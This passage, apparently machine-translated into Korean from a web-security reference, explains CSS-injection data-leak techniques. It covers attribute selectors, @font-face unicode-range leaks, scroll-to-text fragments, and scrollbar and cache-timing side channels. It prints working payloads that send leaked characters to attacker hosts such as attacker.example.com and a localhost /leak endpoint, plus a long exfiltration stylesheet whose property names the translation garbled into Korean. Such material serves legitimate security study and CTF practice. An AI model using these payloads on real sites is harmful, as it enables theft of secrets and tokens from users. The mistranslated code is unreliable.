페이로드 길이: CSS 주입 벡터는 제작된 셀렉터를 수용할 수 있는 충분히 긴 페이로드를 지원해야 합니다.
CSS 재평가: 새롭게 생성된 페이로드로 CSS를 재평가하도록 유도하기 위해 페이지를 프레임화할 수 있어야 합니다.
외부 자원: 이 기술은 외부 호스팅된 이미지를 사용할 수 있는 능력을 전제로 합니다. 이는 사이트의 콘텐츠 보안 정책(CSP)에 의해 제한될 수 있습니다.
블라인드 속성 셀렉터
이 게시물에서 설명된 것처럼 **:has**와 :not 셀렉터를 결합하여 블라인드 요소에서도 콘텐츠를 식별할 수 있습니다. 이는 CSS 주입을 로드하는 웹 페이지 내부에 무엇이 있는지 전혀 모를 때 매우 유용합니다.
또한 이러한 셀렉터를 사용하여 동일한 유형의 여러 블록에서 정보를 추출하는 것도 가능합니다.
속성 선택기를 사용하면 다음과 같은 작업을 수행할 수 있기 때문에 스크립트는 한 번에 2개의 문자를 발견하려고 시도할 것입니다 (처음부터 및 끝에서):
/* value^= to match the beggining of the value*/input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}/* value$= to match the ending of the value*/input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
이렇게하면 스크립트가 비밀을 더 빨리 노출시킬 수 있습니다.
가끔 스크립트는 이미 발견된 접두사 + 접미사가 이미 완전한 플래그임을 올바르게 감지하지 못할 수 있으며 앞으로(접두사에서) 뒤로(접미사에서) 계속 진행하다가 어느 시점에서 멈출 수 있습니다.
걱정하지 마세요, 출력을 확인하면 거기서 플래그를 볼 수 있습니다.
다른 선택자
CSS 선택자를 사용하여 DOM 부분에 액세스하는 다른 방법:
.class-to-search:nth-child(2): 이는 DOM에서 클래스가 "class-to-search"인 두 번째 항목을 검색합니다.
사용자 지정 글꼴은 <head> 섹션의 <style> 태그 내에서 @font-face 규칙을 사용하여 정의됩니다.
글꼴은 poc로 명명되었으며 외부 엔드포인트(http://attacker.com/?leak)에서 가져옵니다.
unicode-range 속성은 특정 Unicode 문자 'A'를 대상으로 하는 U+0041로 설정됩니다.
대체 텍스트가 있는 Object 요소:
<body> 섹션에 id="poc0"를 가진 <object> 요소가 생성됩니다. 이 요소는 http://192.168.0.1/favicon.ico에서 리소스를로드하려고 합니다.
이 요소의 font-family는 <style> 섹션에서 정의된 'poc'로 설정됩니다.
리소스(favicon.ico) 로드에 실패하면 <object> 태그 내부에 있는 대체 콘텐츠(문자 'A')가 표시됩니다.
외부 리소스를로드할 수 없는 경우 대체 콘텐츠('A')는 사용자 정의 글꼴 poc를 사용하여 렌더링됩니다.
텍스트 단편으로 스타일링 스크롤
:target 가상 클래스는 URL 단편에 의해 대상으로 지정된 요소를 선택하는 데 사용되며 CSS Selectors Level 4 specification에서 지정됩니다. ::target-text는 텍스트가 명시적으로 단편에 의해 대상으로 지정될 때까지 어떤 요소와도 일치하지 않음을 이해하는 것이 중요합니다.
보안 문제가 발생하는 경우, 공격자가 스크롤-투-텍스트 단편 기능을 악용하여 HTML 삽입을 통해 자신의 서버에서 리소스를로드하여 웹 페이지에 특정 텍스트의 존재를 확인할 수 있습니다. 이 방법은 다음과 같은 CSS 규칙을 삽입하는 것을 포함합니다:
:target::before { content:url(target.png) }
다음과 같은 시나리오에서 페이지에 "Administrator" 텍스트가 있는 경우, 서버에서 target.png 리소스가 요청되어 해당 텍스트의 존재를 나타냅니다. 이 공격의 한 예는 삽입된 CSS가 포함된 특수 제작된 URL을 통해 실행될 수 있습니다.
여기서 공격은 HTML 주입을 조작하여 CSS 코드를 전송하며, Scroll-to-text fragment (#:~:text=Administrator)를 통해 "Administrator"라는 특정 텍스트를 대상으로 합니다. 텍스트가 발견되면 지정된 리소스가 로드되어 공격자에게 존재 여부를 암시적으로 신호합니다.
완화를 위해 다음 사항에 유의해야 합니다:
제한된 STTF 일치: Scroll-to-text Fragment (STTF)는 단어나 문장만 일치하도록 설계되어 임의의 비밀 또는 토큰 누출 능력을 제한합니다.
상위 수준 탐색 컨텍스트로의 제한: STTF는 상위 수준 탐색 컨텍스트에서만 작동하며 iframes 내에서 작동하지 않아 공격 시도가 사용자에게 더욱 눈에 띄게 됩니다.
사용자 활성화의 필요성: STTF는 사용자 활성화 동작을 필요로 하므로, 악용은 사용자가 시작한 탐색을 통해서만 실행될 수 있습니다. 이 요구 사항은 사용자 상호 작용 없이 공격이 자동화되는 위험을 상당히 완화합니다. 그러나 블로그 글의 저자는 공격의 자동화를 용이하게 하는 특정 조건 및 우회 방법 (예: 사회 공학, 보편적인 브라우저 확장 프로그램과의 상호 작용)을 지적합니다.
이러한 메커니즘과 잠재적인 취약점에 대한 인식은 웹 보안을 유지하고 이러한 악용적인 전술에 대비하는 데 중요합니다.
특정 유니코드 값에 대해 외부 글꼴을 지정할 수 있으며, 해당 유니코드 값이 페이지에 존재할 때에만 수집됩니다. 예를 들어:
<style>@font-face{font-family:poc;src:url(http://attacker.example.com/?A); /* fetched */unicode-range:U+0041;}@font-face{font-family:poc;src:url(http://attacker.example.com/?B); /* fetched too */unicode-range:U+0042;}@font-face{font-family:poc;src:url(http://attacker.example.com/?C); /* not fetched */unicode-range:U+0043;}#sensitive-information{font-family:poc;}</style><pid="sensitive-information">AB</p>htm
이 페이지에 액세스하면 Chrome과 Firefox는 "A" 및 "B" 문자를 포함하는 sensitive-information의 텍스트 노드를 가져옵니다. 그러나 "C"를 포함하지 않기 때문에 Chrome과 Firefox는 "?C"를 가져오지 않습니다. 이는 "A" 및 "B"를 읽을 수 있었음을 의미합니다.
이 트릭은 Slackers thread에서 공개되었습니다. 텍스트 노드에 사용된 문자 집합은 브라우저에 설치된 기본 폰트를 사용하여 노출될 수 있습니다: 외부 -또는 사용자 정의- 폰트가 필요하지 않습니다.
이 개념은 애니메이션을 활용하여 div의 너비를 점진적으로 확장하여 한 번에 한 문자씩 '접미사' 부분에서 '접두사' 부분으로 전환할 수 있도록 하는 것을 중심으로 합니다. 이 과정은 텍스트를 두 부분으로 나누어줍니다:
접두사: 초기 라인.
접미사: 이후 라인들.
문자의 전환 단계는 다음과 같이 나타납니다:
C
ADB
CA
DB
CAD
B
CADB
이 전환 중에 unicode-range 트릭을 사용하여 각 새 문자가 접두사에 추가될 때 식별됩니다. 이는 기본 폰트보다 높이가 더 큰 Comic Sans로 폰트를 전환하여 달성되며, 결과적으로 수직 스크롤바가 트리거됩니다. 이 스크롤바의 나타남으로 인해 새 문자가 접두사에 나타났음을 간접적으로 나타냅니다.
이 방법은 나타나는 고유 문자를 감지할 수 있지만, 반복되는 문자가 무엇인지를 명시하지는 않습니다.
/* comic sans is high (lol) and causes a vertical overflow */@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}@font-face{font-family:rest;src:local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}div.leak {overflow-y:auto; /* leak channel */overflow-x:hidden; /* remove false positives */height:40px; /* comic sans capitals exceed this height */font-size:0px; /* make suffix invisible */letter-spacing:0px; /* separation */word-break:break-all; /* small width split words in lines */font-family:rest; /* default */background:grey; /* default */width:0px; /* initial value */animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}div.leak::first-line{font-size:30px; /* prefix is visible in first line */text-transform:uppercase; /* only capital letters leak */}/* iterate over all chars */@keyframes trychar {0% { font-family:rest; } /* delay for width change */5% { font-family:has_A, rest; --leak:url(?a); }6% { font-family:rest; }10% { font-family:has_B, rest; --leak:url(?b); }11% { font-family:rest; }15% { font-family:has_C, rest; --leak:url(?c); }16% { font-family:rest }20% { font-family:has_D, rest; --leak:url(?d); }21% { font-family:rest; }25% { font-family:has_E, rest; --leak:url(?e); }26% { font-family:rest; }30% { font-family:has_F, rest; --leak:url(?f); }31% { font-family:rest; }35% { font-family:has_G, rest; --leak:url(?g); }36% { font-family:rest; }40% { font-family:has_H, rest; --leak:url(?h); }41% { font-family:rest }45% { font-family:has_I, rest; --leak:url(?i); }46% { font-family:rest; }50% { font-family:has_J, rest; --leak:url(?j); }51% { font-family:rest; }55% { font-family:has_K, rest; --leak:url(?k); }56% { font-family:rest; }60% { font-family:has_L, rest; --leak:url(?l); }61% { font-family:rest; }65% { font-family:has_M, rest; --leak:url(?m); }66% { font-family:rest; }70% { font-family:has_N, rest; --leak:url(?n); }71% { font-family:rest; }75% { font-family:has_O, rest; --leak:url(?o); }76% { font-family:rest; }80% { font-family:has_P, rest; --leak:url(?p); }81% { font-family:rest; }85% { font-family:has_Q, rest; --leak:url(?q); }86% { font-family:rest; }90% { font-family:has_R, rest; --leak:url(?r); }91% { font-family:rest; }95% { font-family:has_S, rest; --leak:url(?s); }96% { font-family:rest; }}/* increase width char by char, i.e. add new char to prefix */@keyframes loop {0% { width:0px }1% { width:20px }2% { width:40px }3% { width:60px }4% { width:80px }4% { width:100px }```css5% { 너비:120px }6% { 너비:140px }7% { 너비:0px }}div::-webkit-scrollbar {배경:파란색;}/* side-channel */div::-webkit-scrollbar:vertical {배경:파란색 var(--leak);}
이 경우는 이전 케이스와 매우 유사하지만, 여기서 특정 문자를 다른 것보다 크게 만드는 목표는 무언가를 숨기는 것입니다. 즉, 봇에 의해 눌리지 않을 버튼이나 로드되지 않을 이미지와 같은 것을 숨기는 것입니다. 따라서 우리는 특정 문자가 텍스트 내에 있는지 여부를 알 수 있도록 행동(또는 행동 부재)을 측정할 수 있습니다.
텍스트 노드 유출 (III): 캐시 타이밍을 통한 문자 집합 노출 (외부 자산 필요 없음)
만약 일치하는 것이 있다면, 폰트는 /static/bootstrap.min.css?q=1에서 로드될 것입니다. 성공적으로 로드되지는 않겠지만, 브라우저는 캐시해야 하며, 캐시가 없더라도 304 not modified 메커니즘이 있으므로 응답이 다른 것보다 빨라야 합니다.
그러나 캐시된 응답과 캐시되지 않은 응답의 시간 차이가 크지 않으면 이 방법은 유용하지 않을 수 있습니다. 예를 들어, 저자는 다음과 같이 언급했습니다: 그러나 테스트 후에 첫 번째 문제는 속도가 크게 다르지 않다는 것이며, 두 번째 문제는 봇이 disk-cache-size=1 플래그를 사용한다는 것이 정말 신중하다는 것입니다.
텍스트 노드 유출 (III): 수백 개의 로컬 "폰트"를 시간 측정하여 문자셋 유출 (외부 자산 필요 없음)
만약 폰트가 일치하지 않는다면, 봇을 방문할 때의 응답 시간은 약 30초가 소요될 것으로 예상됩니다. 그러나 폰트가 일치하는 경우, 폰트를 검색하기 위해 여러 요청이 전송되어 네트워크가 계속 활동하게 됩니다. 결과적으로, 중지 조건을 충족하고 응답을 받는 데 더 오랜 시간이 걸릴 것입니다. 따라서 응답 시간은 폰트 일치 여부를 확인하는 지표로 사용될 수 있습니다.